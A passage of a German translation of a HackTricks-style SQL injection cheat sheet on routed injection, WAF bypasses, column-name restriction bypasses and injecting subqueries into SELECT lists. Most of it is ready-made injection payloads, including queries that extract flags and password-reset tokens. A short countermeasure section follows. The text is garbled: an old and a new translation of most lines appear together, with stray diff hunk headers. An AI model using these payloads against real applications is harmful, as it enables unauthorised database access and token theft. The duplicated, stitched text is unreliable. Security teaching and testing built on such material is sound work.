Routed SQL injection ist eine Situation, in der die injizierbare Abfrage nicht diejenige ist, die eine Ausgabe liefert, sondern die Ausgabe der injizierbaren Abfrage an die Abfrage geht, die eine Ausgabe liefert. ([From Paper](http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Routed%20SQL%20Injection%20-%20Zenodermus%20Javanicus.txt))
Routed SQL injection ist eine Situation, in der die injizierbare Abfrage nicht direkt die Ausgabe erzeugt, sondern deren Ausgabe an die Abfrage weitergegeben wird, die die Ausgabe liefert. ([From Paper](http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Routed%20SQL%20Injection%20-%20Zenodermus%20Javanicus.txt))
Beispiel:
```
@ -483,7 +494,7 @@ Beispiel:
### No spaces bypass
No Space (%20) - Bypass unter Verwendung von Alternativen für Leerzeichen
No Space (%20) - bypass unter Verwendung von Leerzeichen-Alternativen
```sql
?id=1%09and%091=1%09--
?id=1%0Dand%0D1=1%0D--
@ -492,17 +503,17 @@ No Space (%20) - Bypass unter Verwendung von Alternativen für Leerzeichen
?id=1%0Aand%0A1=1%0A--
?id=1%A0and%A01=1%A0--
```
Keine Leerzeichen - Umgehung mit Kommentaren
No Whitespace - Umgehung durch Kommentare
```sql
?id=1/*comment*/and/**/1=1/**/--
```
Keine Leerzeichen - Umgehung mit Klammern
No Whitespace - bypass mit Klammern
```sql
?id=(1)and(1)=(1)--
```
### No commas bypass
### Bypass ohne Kommas
No Comma - Bypass unter Verwendung von OFFSET, FROM und JOIN
No Comma - bypass mit OFFSET, FROM und JOIN
```
LIMIT 0,1 -> LIMIT 1 OFFSET 0
SUBSTR('SQL',1,1) -> SUBSTR('SQL' FROM 1 FOR 1).
@ -510,13 +521,13 @@ SELECT 1,2,3,4 -> UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELE
```
### Generische Umgehungen
Blacklist unter Verwendung von Schlüsselwörtern - Umgehung durch Groß-/Kleinschreibung
Blacklist mittels Keywords - bypass durch Groß-/Kleinschreibung
```sql
?id=1 AND 1=1#
?id=1 AnD 1=1#
?id=1 aNd 1=1#
```
Blacklist unter Verwendung von Schlüsselwörtern, nicht fallabhängig - umgehen mit einem äquivalenten Operator
Blacklist, die Keywords case-insensitive verwendet — Umgehung durch Verwendung eines äquivalenten Operators
```
AND -> && -> %26%26
OR -> || -> %7C%7C
@ -524,49 +535,79 @@ OR -> || -> %7C%7C
> X -> not between 0 and X
WHERE -> HAVING --> LIMIT X,1 -> group_concat(CASE(table_schema)When(database())Then(table_name)END) -> group_concat(if(table_schema=database(),table_name,null))
```
### Scientific Notation WAF bypass
### Wissenschaftliche Notation WAF bypass
Sie finden eine ausführlichere Erklärung dieses Tricks im [gosecure blog](https://www.gosecure.net/blog/2021/10/19/a-scientific-notation-bug-in-mysql-left-aws-waf-clients-vulnerable-to-sql-injection/).\
Im Grunde können Sie die wissenschaftliche Notation auf unerwartete Weise verwenden, um die WAF zu umgehen:
Eine ausführlichere Erklärung dieses Tricks findest du im [gosecure blog](https://www.gosecure.net/blog/2021/10/19/a-scientific-notation-bug-in-mysql-left-aws-waf-clients-vulnerable-to-sql-injection/).\
Grundsätzlich kann man die wissenschaftliche Notation auf unerwartete Weise verwenden, um den WAF zu umgehen:
```
-1' or 1.e(1) or '1'='1
-1' or 1337.1337e1 or '1'='1
' or 1.e('')=
```
### Bypass Column Names Restriction
### Umgehung der Spaltennamen-Beschränkung
Zunächst einmal beachten Sie, dass wenn die **ursprüngliche Abfrage und die Tabelle, aus der Sie das Flag extrahieren möchten, die gleiche Anzahl an Spalten haben**, Sie einfach Folgendes tun können: `0 UNION SELECT * FROM flag`
Zunächst solltest du beachten, dass wenn die **ursprüngliche Abfrage und die Tabelle, aus der du das flag extrahieren möchtest, dieselbe Anzahl an Spalten haben** du einfach Folgendes tun kannst: `0 UNION SELECT * FROM flag`
Es ist möglich, **auf die dritte Spalte einer Tabelle zuzugreifen, ohne ihren Namen zu verwenden**, indem Sie eine Abfrage wie die folgende verwenden: `SELECT F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;`, sodass dies in einer sqlinjection so aussehen würde:
Es ist möglich, **auf die dritte Spalte einer Tabelle zuzugreifen, ohne ihren Namen zu verwenden**, mit einer Abfrage wie der folgenden: `SELECT F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;`, daher würde dies in einer sqlinjection so aussehen:
```bash
# This is an example with 3 columns that will extract the column number 3
-1 UNION SELECT 0, 0, 0, F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;
```
Oder durch die Verwendung eines **comma bypass**:
Oder mit einem **comma bypass**:
```bash
# In this case, it's extracting the third value from a 4 values table and returning 3 values in the "union select"
-1 union select * from (select 1)a join (select 2)b join (select F.3 from (select * from (select 1)q join (select 2)w join (select 3)e join (select 4)r union select * from flag limit 1 offset 5)F)c
```
Dieser Trick wurde von [https://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/](https://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/) entnommen.
Dieser Trick stammt von [https://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/](https://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/)
### WAF-Bypass-Vorschlagstools
### Column/tablename injection in SELECT list via subqueries
Wenn Benutzereingaben in die SELECT list oder in table/column identifiers konkateniert werden, helfen prepared statements nicht, weil bind parameters nur Werte schützen, nicht identifiers. Ein häufiges verwundbares Muster ist:
```php
// Pseudocode
$fieldname = $_REQUEST['fieldname']; // attacker-controlled
$tablename = $modInstance->table_name; // sometimes also attacker-influenced
$q = "SELECT $fieldname FROM $tablename WHERE id=?"; // id is the only bound param
$stmt = $db->pquery($q, [$rec_id]);
```
Angriffsidee: Eine subquery in die Feldposition injizieren, um beliebige Daten zu exfiltrieren:
```sql
-- Legit
SELECT user_name FROM vte_users WHERE id=1;
-- Injected subquery to extract a sensitive value (e.g., password reset token)
SELECT (SELECT token FROM vte_userauthtoken WHERE userid=1) FROM vte_users WHERE id=1;
```
Hinweise:
- Das funktioniert selbst dann, wenn die WHERE-Klausel einen gebundenen Parameter verwendet, weil die Identifier-Liste weiterhin als String verkettet wird.
- Einige Stacks erlauben zusätzlich die Kontrolle des Tabellennamens (tablename injection), wodurch tabellenübergreifende Lesezugriffe möglich werden.
- Output sinks können den ausgewählten Wert in HTML/JSON spiegeln, was XSS oder direkte token exfiltration aus der Antwort ermöglicht.
Gegenmaßnahmen:
- Konkatenieren Sie niemals Bezeichner aus Benutzereingaben. Ordnen Sie erlaubte Spaltennamen einer festen allow-list zu und quoten Sie Bezeichner korrekt.
- Wenn dynamischer Tabellenzugriff erforderlich ist, beschränken Sie ihn auf eine endliche Menge und lösen Sie ihn serverseitig über eine sichere Zuordnung auf.
### WAF bypass suggester tools
{{#ref}}
https://github.com/m4ll0k/Atlas
{{#endref}}
## Weitere Anleitungen
## Weitere Guides
- [https://sqlwiki.netspi.com/](https://sqlwiki.netspi.com)
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection)
## Brute-Force-Erkennungsliste
## Brute-Force Detection-Liste
{{#ref}}
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/sqli.txt
{{#endref}}
## Referenzen
- [https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/](https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/)
{{#include ../../banners/hacktricks-training.md}}